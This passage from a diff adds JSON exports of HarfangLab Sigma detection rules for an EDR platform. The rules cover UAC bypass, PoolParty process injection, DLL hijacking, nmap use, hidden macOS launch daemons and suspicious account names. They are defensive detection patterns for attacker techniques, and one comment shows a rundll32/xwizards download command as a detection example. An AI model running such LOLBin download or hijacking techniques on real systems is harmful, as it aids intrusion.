'iscsicpl.exe'\n        ImageLoaded|endswith: '\\iscsiexe.dll'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "99813d1f-9698-4995-907d-141014a3ed6f",
+  "rule_name": "UAC Bypass via iscsicpl.exe",
+  "rule_description": "Detects a potential User Account Control bypass exploiting Windows DLL search Order Hijacking via iscsicpl.exe.\nThe iscsicpl.exe binary is configured to auto-elevate privileges and is vulnerable to a DLL Search Order hijacking vulnerability when running 32 bit Microsoft binary on a 64 bit system via SysWOW64.\nThis 32 bit binary, will perform a search within user path for the DLL iscsiexe.dll.\nIt is recommended to check for malicious behavior from processes modifying HKCU\\Environment\\Path and any parents of iscsicpl.exe. You should also investigate activity of any iscsicpl.exe children processes.\n",
+  "rule_creation_date": "2022-07-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9994e158-8140-4487-9d9d-7fd096b4b4bb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.070525Z",
+  "creation_date": "2026-03-23T11:45:34.070527Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.070535Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thehackernews.com/2023/12/new-poolparty-process-injection.html",
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_poolparty_process_access.yml",
+  "content": "title: Possible Process Injection Using PoolParty\nid: 9994e158-8140-4487-9d9d-7fd096b4b4bb\ndescription: |\n    Detects an attempt to open a process with specific permissions required by the Pool Party injection methods.\n    These specific permissions allow an attacker to perform code injection using the Pool Party techniques, exploiting the Windows user-mode thread pool.\n    Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.\n    It is recommended to investigate both the accessing and targeted processes activities.\nreferences:\n    - https://thehackernews.com/2023/12/new-poolparty-process-injection.html\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2023/12/12\nmodified: 2025/11/13\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1055\n    - classification.Windows.Source.ProcessAccess\n    - classification.Windows.Behavior.ProcessInjection\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: process_access\ndetection:\n    selection:\n        # PROCESS_QUERY_LIMITED_INFORMATION|PROCESS_QUERY_INFORMATION|PROCESS_DUP_HANDLE|PROCESS_VM_WRITE|PROCESS_VM_READ|PROCESS_VM_OPERATION\n        GrantedAccess: '0x1478'\n        ProcessImage|contains: '\\'\n\n    exclusion_lsass:\n        ProcessImage:\n            - '?:\\Windows\\System32\\lsass.exe'\n            - '\\Device\\VhdHardDisk{????????-????-????-????-????????????}\\Windows\\System32\\lsass.exe'\n            - '\\Device\\HarddiskVolume*\\Windows\\System32\\lsass.exe'\n\n    exclusion_svchost:\n        ProcessImage: '?:\\Windows\\System32\\svchost.exe'\n\n    exclusion_windows_store:\n        ProcessImage|endswith:\n            - '\\MpSigStub.exe'\n            - '\\AM_Base.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n\n    exclusion_mcafee:\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'McAfee, Inc.'\n            - 'McAfee, LLC'\n            - 'MUSARUBRA US LLC'  # new signer name for mcafee/trellix it seems\n\n    exclusion_eset:\n        ProcessImage:\n            - '?:\\Program Files\\ESET\\ESET File Security\\ekrn.exe'\n            - '?:\\Program Files\\ESET2\\ESET File Security\\ekrn.exe'\n            - '?:\\Program Files\\ESET\\ESET Security\\ekrn.exe'\n            - '?:\\Program Files\\ESET2\\ESET Security\\ekrn.exe'\n            - '?:\\Program Files\\ESET\\ESET Endpoint Security\\ekrn.exe'\n            - '?:\\Program Files\\ESET2\\ESET Endpoint Security\\ekrn.exe'\n            - '?:\\Program Files\\ESET\\ESET Endpoint Antivirus\\ekrn.exe'\n            - '?:\\Program Files\\ESET2\\ESET Endpoint Antivirus\\ekrn.exe'\n\n    exclusion_eset_signature:\n        ProcessImage|endswith: '\\ekrn.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'ESET, spol. s r.o.'\n\n    exclusion_panda:\n        ProcessImage|endswith: '\\PSANHost.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Panda Security S.L.'\n            - 'Panda Security, S.L.'\n\n    exclusion_adobearm:\n        ProcessImage|endswith: '\\AdobeARM.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Adobe Inc.'\n\n    exclusion_defender:\n        # AntiMalware Definition Update\n        ProcessOriginalFileName: 'NIS_Full.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9994e158-8140-4487-9d9d-7fd096b4b4bb",
+  "rule_name": "Possible Process Injection Using PoolParty",
+  "rule_description": "Detects an attempt to open a process with specific permissions required by the Pool Party injection methods.\nThese specific permissions allow an attacker to perform code injection using the Pool Party techniques, exploiting the Windows user-mode thread pool.\nAdversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.\nIt is recommended to investigate both the accessing and targeted processes activities.\n",
+  "rule_creation_date": "2023-12-12",
+  "rule_modified_date": "2025-11-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "99afba1b-3560-4a5a-8e16-3a4e64477931",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.628159Z",
+  "creation_date": "2026-03-23T11:45:34.628161Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.628165Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Xwizard/",
+    "https://x.com/0gtweet/status/1842252508841832864",
+    "https://attack.mitre.org/techniques/T1105/"
+  ],
+  "name": "t1105_xwizard_lolbas_download.yml",
+  "content": "title: File Downloaded via Xwizard\nid: 99afba1b-3560-4a5a-8e16-3a4e64477931\ndescription: |\n    Detects a suspicious execution of Xwizard executable or DLL to download a file.\n    The downloaded file is saved in one of these locations:\n        - %LocalAppData%\\Microsoft\\Windows\\INetCache\\<8_RANDOM_ALNUM_CHARS>\\<FILENAME>[1].<EXTENSION>\n        - %LocalAppData%\\Microsoft\\Windows\\INetCache\\IE\\<8_RANDOM_ALNUM_CHARS>\\<FILENAME>[1].<EXTENSION>\n    Adversaries may transfer tools or other files to a compromised environment using legitimate tool to evade detection.\n    It is recommended to check the content of the downloaded file and for other suspicious behavior by the parents of the current process.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Xwizard/\n    - https://x.com/0gtweet/status/1842252508841832864\n    - https://attack.mitre.org/techniques/T1105/\ndate: 2022/11/18\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1105\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Xwizard\n    - classification.Windows.Behavior.FileDownload\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_exe_image:\n        Image|endswith: '\\xwizard.exe'\n        # Renamed binaries\n        OriginalFileName: 'xwizard.exe'\n\n    selection_exe_cmdline:\n        CommandLine|contains|all:\n            - ' RunWizard '\n            - ' {7940acf8-60ba-4213-a7c3-f3b400ee266d}'\n            - 'http'\n\n    selection_dll_image:\n        - ProcessImage|endswith: '\\rundll32.exe'\n        - ProcessOriginalFileName: 'RUNDLL32.EXE'\n\n    selection_dll_commandline:\n        # rundll32.exe xwizards,RunWizard {7940acf8-60ba-4213-a7c3-f3b400ee266d} /zhttps://secure.eicar.org/eicar.com.txt\n        CommandLine|contains|all:\n            - xwizards\n            - '7940acf8-60ba-4213-a7c3-f3b400ee266d'\n\n    exclusion_known_fp:\n        ParentImage:\n            - '?:\\Windows\\System32\\sihost.exe'\n            - '?:\\Windows\\explorer.exe'\n\n            - '?:\\Windows\\System32\\RuntimeBroker.exe'\n        CommandLine: '?:\\WINDOWS\\system32\\xwizard.exe RunWizard {7940ACF8-60BA-4213-A7C3-F3B400EE266D}'\n\n    condition: (all of selection_exe_* or all of selection_dll_*) and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "99afba1b-3560-4a5a-8e16-3a4e64477931",
+  "rule_name": "File Downloaded via Xwizard",
+  "rule_description": "Detects a suspicious execution of Xwizard executable or DLL to download a file.\nThe downloaded file is saved in one of these locations:\n    - %LocalAppData%\\Microsoft\\Windows\\INetCache\\<8_RANDOM_ALNUM_CHARS>\\<FILENAME>[1].<EXTENSION>\n    - %LocalAppData%\\Microsoft\\Windows\\INetCache\\IE\\<8_RANDOM_ALNUM_CHARS>\\<FILENAME>[1].<EXTENSION>\nAdversaries may transfer tools or other files to a compromised environment using legitimate tool to evade detection.\nIt is recommended to check the content of the downloaded file and for other suspicious behavior by the parents of the current process.\n",
+  "rule_creation_date": "2022-11-18",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1105",
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "99bab1be-2133-4c80-99ca-4fc45bb8d6d5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.604032Z",
+  "creation_date": "2026-03-23T11:45:34.604035Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.604043Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1046/",
+    "https://attack.mitre.org/techniques/T1049/"
+  ],
+  "name": "t1046_nmap.yml",
+  "content": "title: Nmap Execution (Windows)\nid: 99bab1be-2133-4c80-99ca-4fc45bb8d6d5\ndescription: |\n    Detects the execution of nmap.\n    Nmap is a tool often used by attackers to map networks, services or open ports.\n    It is recommended to check if the usage of nmap is legitimate as well as to investigate other suspicious activities in the same user session.\nreferences:\n    - https://attack.mitre.org/techniques/T1046/\n    - https://attack.mitre.org/techniques/T1049/\ndate: 2021/06/29\nmodified: 2025/10/23\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1046\n    - attack.t1049\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.Nmap\n    - classification.Windows.Behavior.NetworkScan\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - Image|endswith: '\\nmap.exe'\n        - OriginalFileName: 'Nmap'\n        - InternalName: 'Nmap'\n\n    exclusion_embedded:\n        Image:\n            - '?:\\Program Files\\\\*\\nmap\\nmap.exe'\n            - '?:\\Program Files (x86)\\\\*\\nmap\\nmap.exe'\n            - '?:\\F-Secure\\RadarScanAgent\\\\*\\nmap\\nmap.exe'\n            - '?:\\ManageEngine\\OpManager\\nmap\\nmap.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "99bab1be-2133-4c80-99ca-4fc45bb8d6d5",
+  "rule_name": "Nmap Execution (Windows)",
+  "rule_description": "Detects the execution of nmap.\nNmap is a tool often used by attackers to map networks, services or open ports.\nIt is recommended to check if the usage of nmap is legitimate as well as to investigate other suspicious activities in the same user session.\n",
+  "rule_creation_date": "2021-06-29",
+  "rule_modified_date": "2025-10-23",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1046",
+    "attack.t1049"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "99d463a5-30eb-4faf-8a56-3f7379ca3b5f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.601476Z",
+  "creation_date": "2026-03-23T11:45:34.601479Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.601487Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_storrept.yml",
+  "content": "title: DLL Hijacking via storrept.exe\nid: 99d463a5-30eb-4faf-8a56-3f7379ca3b5f\ndescription: |\n    Detects potential Windows DLL Hijacking via storrept.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'storrept.exe'\n        ImageLoaded|endswith:\n            - '\\atl.dll'\n            - '\\mfc42u.dll'\n            - '\\srmtrace.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "99d463a5-30eb-4faf-8a56-3f7379ca3b5f",
+  "rule_name": "DLL Hijacking via storrept.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via storrept.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9a186fde-3db0-40f6-a3c1-0b40019ebb63",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.617409Z",
+  "creation_date": "2026-03-23T11:45:34.617411Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617415Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1543/004/",
+    "https://attack.mitre.org/techniques/T1564/001/"
+  ],
+  "name": "t1543_004_launch_daemons_hidden.yml",
+  "content": "title: Hidden Launch Daemon Created\nid: 9a186fde-3db0-40f6-a3c1-0b40019ebb63\ndescription: |\n    Detects the creation of an hidden launch daemon file.\n    Adversaries may create hidden files in order to avoid detection from users.\n    It is recommended to check the process creating the file for other suspicious behaviors and that the content of the newly created file is legitimate.\nreferences:\n    - https://attack.mitre.org/techniques/T1543/004/\n    - https://attack.mitre.org/techniques/T1564/001/\ndate: 2024/04/30\nmodified: 2025/10/29\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1543.004\n    - attack.t1543.001\n    - attack.defense_evasion\n    - attack.t1564.001\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.Persistence\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_path:\n        - Path|startswith:\n            - '/System/Library/LaunchDaemons/'\n            - '/Library/LaunchDaemons/'\n        - TargetPath|startswith:\n            - '/System/Library/LaunchDaemons/'\n            - '/Library/LaunchDaemons/'\n    selection_kind:\n        Kind:\n            - 'create'    # Currently handled by file_event\n            - 'rename'\n        ProcessImage|contains: '?'\n\n    selection_hidden:\n        - Path|re: '.*/\\.[^/]*$'\n        - TargetPath|re: '.*/\\.[^/]*$'\n\n    filter_nosync: # SIP related file\n        - Path|endswith: '/.dat.nosync*.??????'\n        - TargetPath|endswith: '/.dat.nosync*.??????'\n\n    exclusion_common:\n        Image:\n            - '/usr/bin/rsync'\n            - '/usr/bin/sed'\n\n    exclusion_temp_file:\n        - Image: '/usr/bin/vim'\n          Path|endswith: '.swp'\n        - Image: '/usr/bin/ditto'\n          Path|endswith: '/.BC.T_*'\n        - Image: '/usr/bin/ditto'\n          TargetPath|endswith: '/.BC.T_*'\n\n    exclusion_bomgar:\n        - Path:\n            - '/Library/LaunchDaemons/.com.bomgar.bomgar-ps-*.helper/run.state'\n            - '/Library/LaunchDaemons/.com.bomgar.bomgar-ps-*.helper'\n        - ProcessSigned: 'true'\n          ProcessSignatureSigningId: 'com.bomgar.bomgar-scc'\n\n    exclusion_sandbox:\n        ProcessParentCommandLine|startswith: '/bin/sh /tmp/PKInstallSandbox.??????/Scripts/'\n\n    exclusion_jamf:\n        ProcessImage: '/usr/local/jamf/bin/jamf'\n\n    exclusion_finder:\n        Image: '/System/Library/CoreServices/Finder.app/Contents/MacOS/Finder'\n        Path|endswith: '.DS_Store'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9a186fde-3db0-40f6-a3c1-0b40019ebb63",
+  "rule_name": "Hidden Launch Daemon Created",
+  "rule_description": "Detects the creation of an hidden launch daemon file.\nAdversaries may create hidden files in order to avoid detection from users.\nIt is recommended to check the process creating the file for other suspicious behaviors and that the content of the newly created file is legitimate.\n",
+  "rule_creation_date": "2024-04-30",
+  "rule_modified_date": "2025-10-29",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1543.001",
+    "attack.t1543.004",
+    "attack.t1564.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9a250773-45c0-4cf1-860c-4e937e831b2d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077033Z",
+  "creation_date": "2026-03-23T11:45:34.077035Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077040Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/malmoeb/status/1569441172061585409",
+    "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/",
+    "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1",
+    "https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf",
+    "https://assets.sentinelone.com/sentinellabs22/SentinelLabs-BlackBasta",
+    "https://mp.weixin.qq.com/s/pd6fUs5TLdBtwUHauclDOQ",
+    "https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/",
+    "https://attack.mitre.org/techniques/T1078",
+    "https://attack.mitre.org/techniques/T1098"
+  ],
+  "name": "t1078_suspicious_user_creation.yml",
+  "content": "title: Suspicious User Created\nid: 9a250773-45c0-4cf1-860c-4e937e831b2d\ndescription: |\n    Detects the creation of user accounts with names that match known patterns or usernames commonly associated with malicious activity.\n    The detection focuses on usernames that have been previously identified as suspicious or associated with attacker tradecraft.\n    It is recommended to investigate the creation of these accounts, review the permissions and access rights of the new accounts, and remove any unnecessary or unauthorized user accounts.\n    Additionally, monitor for repeated attempts to create similar accounts or suspicious patterns of access across the environment.\nreferences:\n    - https://twitter.com/malmoeb/status/1569441172061585409\n    - https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/\n    - https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1\n    - https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf\n    - https://assets.sentinelone.com/sentinellabs22/SentinelLabs-BlackBasta\n    - https://mp.weixin.qq.com/s/pd6fUs5TLdBtwUHauclDOQ\n    - https://www.microsoft.com/en-us/security/blog/2023/10/18/multiple-north-korean-threat-actors-exploiting-the-teamcity-cve-2023-42793-vulnerability/\n    - https://attack.mitre.org/techniques/T1078\n    - https://attack.mitre.org/techniques/T1098\ndate: 2022/10/06\nmodified: 2025/02/12\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1078\n    - attack.t1098\n    - attack.initial_access\n    - attack.t1078.002\n    - classification.Windows.Source.EventLog\n    - classification.Windows.Behavior.Masquerading\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    service: security\ndetection:\n    selection:\n        Source: 'Microsoft-Windows-Security-Auditing'\n        EventID: 4720\n        TargetUserName:\n            - 'z'\n            - 'zz'\n            - 'Mysql'\n            - 'DefaultAccount?'\n            - 'admina'\n            - 'Crackenn'\n            - 'krtbgt'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9a250773-45c0-4cf1-860c-4e937e831b2d",
+  "rule_name": "Suspicious User Created",
+  "rule_description": "Detects the creation of user accounts with names that match known patterns or usernames commonly associated with malicious activity.\nThe detection focuses on usernames that have been previously identified as suspicious or associated with attacker tradecraft.\nIt is recommended to investigate the creation of these accounts, review the permissions and access rights of the new accounts, and remove any unnecessary or unauthorized user accounts.\nAdditionally, monitor for repeated attempts to create similar accounts or suspicious patterns of access across the environment.\n",
+  "rule_creation_date": "2022-10-06",
+  "rule_modified_date": "2025-02-12",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1078",
+    "attack.t1078.002",
+    "attack.t1098"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9a5109e3-c824-43d7-93a4-914d1f268ff8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
